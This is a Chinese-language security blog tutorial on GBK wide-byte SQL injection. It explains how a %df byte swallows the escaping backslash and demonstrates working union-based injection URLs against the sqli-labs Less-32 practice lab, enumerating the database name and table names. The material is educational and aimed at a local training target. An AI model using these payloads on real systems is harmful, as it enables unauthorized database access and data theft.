Loading [MathJax]/jax/input/TeX/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >sql–宽字节注入

sql–宽字节注入

作者头像
字节脉搏实验室
发布于 2020-04-07 08:39:12
发布于 2020-04-07 08:39:12
9300
举报

文章源自【字节脉搏社区】-字节脉搏实验室

作者-墨子辰

宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

宽字节注入是利用msql的一个特性,mysql在使用GBK编码的时候,会认为俩个字符是一个汉字GBK编码,它的编码范围是0×8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。通常导致编码转换的注入问题,尤其是使用php连接mysql数据库的时候,一个gbk汉字占两个字节,取值范围是(编码位数):第一个字节是(129-254),第二个字节(64-254)当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字。

gbk 两个字节 gb2312两个字节 utg-8 三个字节

https://the-x.cn/UrlDecode.aspx 在线解码编码(百度就能找到)

\' 编码为:%5C%27

%aa%5C%27 解码为:猏'

这样就能够把 ' 逃逸出来

我们以 sqli-labs靶机试试(如需下载按照,请自行百度)

http://localhost/sqli-labs-master/Less-32/?id=1'

可以看见'前面加了\,如果是在实战中,这不会有显示。所有,我们在探测sql的时候,如果加上单引号没反应,我们不妨试试%df%27

http://localhost/sqli-labs-master/Less-32/?id=1%df%27

http://localhost/sqli-labs-master/Less-32/?id=1%df%27 order by 3%23

多次测试,得到字段数目为3

http://localhost/sqli-labs-master/Less-32/?id=1%df%27 union select 1,2,3%23

http://localhost/sqli-labs-master/Less-32/?id=1%df%27 union select 1,2,database()%23

执行上述url如果没有反应,这时候我们应该考虑注入一个不存在的id(负数)

http://localhost/sqli-labs-master/Less-32/?id=-1%df%27 union select 1,database(),3%23

http://localhost/sqli-labs-master/Less-32/?id=-1%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

group_concat(table_name) 列出所有列表名称

如果不使用group_concat(table_name)只能列出单个表名

后面就是查看表里面的东西了。

如果有兴趣,推荐去南邮CTF里面做一做 GBK Injection

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-04-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
【PTE-day05 宽字节注入】
mysql使用GBK编码时,默认的会认为两个字符为一个汉字,前一个字符的ascii值大于128,达到汉字范围
samRsa
2023/11/17
1640
​ 【SQL注入必学基础】--宽字节注入
二进制:计算机内部是由集成电路这种电子部件构成的,电路只可以表示两种状态——通电、断电,也就是使用二进制存储数据。因为这个特性,计算机内部只能处理二进制。那为什么我们能在计算机上看到字母和特殊字符呢?
Power7089
2020/07/27
1.1K0
​ 【SQL注入必学基础】--宽字节注入
宽字节注入原理学习
我们注入时都会简单输入一个 ‘ 或者 ” ,进行测试,如果数据库过滤不严格就会产生报错,宽字节注入会在 ‘ 前加入 \,加入反斜线之后,起到一个转义作用,这样,存在的 ‘ 就会失去注入的功能。
全栈程序员站长
2022/11/04
3020
1.4.1-SQL注入防御绕过-宽字节注入
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字。 使用%df’进行编码,两个字符组合,认为是一个汉字。 注:前一个Ascii码大于128才能到汉字的范围
tea9
2022/07/16
1.1K0
1.4.1-SQL注入防御绕过-宽字节注入
【学员分享】基于sql注入的sqli-lab靶场的手工注入
与之前的sqlmap注入相比较,发现手工注入需要更多的逻辑,心里要很清楚下一步代码该做什么,中 途会因为代码的一点错误导致页面报错。然后使用sqlmap这种工具的话,通过命令的方法就可以得到 想要的结果,速度也快。
Ms08067安全实验室
2020/05/26
9460
sql注入之(宽字节注入篇)
在magic_quotes_gpc=On的情况下,提交的参数中如果带有单引号’,就会被自动转义\’,使很多注入攻击无效,
逍遥子大表哥
2021/12/17
3.6K0
sql注入之(宽字节注入篇)
SQLi_Labs通关文档【1-65关】
为了不干扰自己本机环境,sql-lab我就用的docker跑起来的,搭建也非常简单,也就两条命令
HACK学习
2019/08/05
4K1
SQL注入常用姿势
以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。
用户11062199
2024/05/30
1330
sql-labs-less32/less33|sql注入
由于less29-less31关需要使用JspStudy,但是官网的版本不支持Windows10环境(是我太菜,之前在XP虚拟机搭建DVWA环境就搞不好),所以直接跳过了。本关为sql-labs系列less32和less33,此系列持续更新,前面的关卡可以查看我前面的文章,如有错误的地方欢迎师傅指正。
TenG
2020/10/28
5920
sql-labs-less32/less33|sql注入
Sqli_labs65关通关详解(下)
less-31 逻辑跟30关一样,只不过 $id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; 闭合的情况
安恒网络空间安全讲武堂
2018/02/06
1.4K0
Sqli_labs65关通关详解(下)
SQL注入靶场Day4 宽字节注入
mysql支持16进制输入,16进制输入可以替代字符从而避免了单引号的加入 user 16进制得到:75736572
Baige
2022/03/22
7061
SQL注入靶场Day4 宽字节注入
sql-labs-less26|sql注入
本关为sql注入系列第16关,此系类持续更新中,前面关卡可以参考此系列其他文章,如有错误的地方欢迎师傅指正,请看正文:
TenG
2020/10/28
7140
sql-labs-less26|sql注入
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)
SQLi-Labs是一个专业的SQL注入漏洞练习靶场,零基础的同学学SQL注入的时候,sqli-labs这个靶场是必练的,它里面包含了很多注入场景,以及在sql注入的时候遇到的各种问题,适用于GET和POST场景,包含了以下注入:
Ms08067安全实验室
2022/12/22
4.3K0
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)
SQL注入从入门到进阶
本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就是本文的入门篇,讲完两节课后,发现自己对于SQL注入的理解也就仅仅局限于入门,于是有了进阶章节的产生。
小简
2022/12/29
4K0
SQL注入从入门到进阶
sql-labs-less27/less27a/less28/less28a|sql注入
本关为sql-labs系列less27、less27a、less28以及less28a,此系列持续更新,前面的关卡可以查看我前面的文章,如有错误的地方欢迎师傅指正。
TenG
2020/10/28
1.1K0
sql-labs-less27/less27a/less28/less28a|sql注入
Sqli-labs 大完结
常规注入,order by 4不行,order by 3 可以 然后,我们看看回显位置 如下是源码
wuming
2021/01/21
2.1K0
Sqli-labs 大完结
Sqli-labs 通关笔记
常用报错函数:updatexml(), extractvalue(), floor() 十种MySQL报错注入 【SQL注入】报错注入姿势总结
wywwzjj
2023/05/09
5240
超全sql注入实用语句_sql注入语句实例大全
目录 判断是否存在注入 判断列数 Union联合注入 爆数据库 爆表 爆字段 爆数据 sql盲注 导入导出文件 Post注入 修改useragent: 修改referer: 修改cookie gr
全栈程序员站长
2022/11/16
2.9K0
MySQL注入--Payload
floor和group by配合使用group by的key唯一性和编码顺序导致二次执行产生不同大的key
Mirror王宇阳
2020/11/12
2.6K0
MySQL注入--Payload
cisp-pte学习笔记之SQL注入(二)
floor() rand() count() group by() 分配初始创建一个虚拟表 分两种 第一种 第一次取数据在虚拟表中进行索引,索引未发现同类项,进行二次取数,进行写入 第二种 第一次取数据在虚拟表中进行索引,索引发现同类型,直接写入,不进行二次取数 concat()
cultureSun
2023/07/08
5250
相关推荐
【PTE-day05 宽字节注入】
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档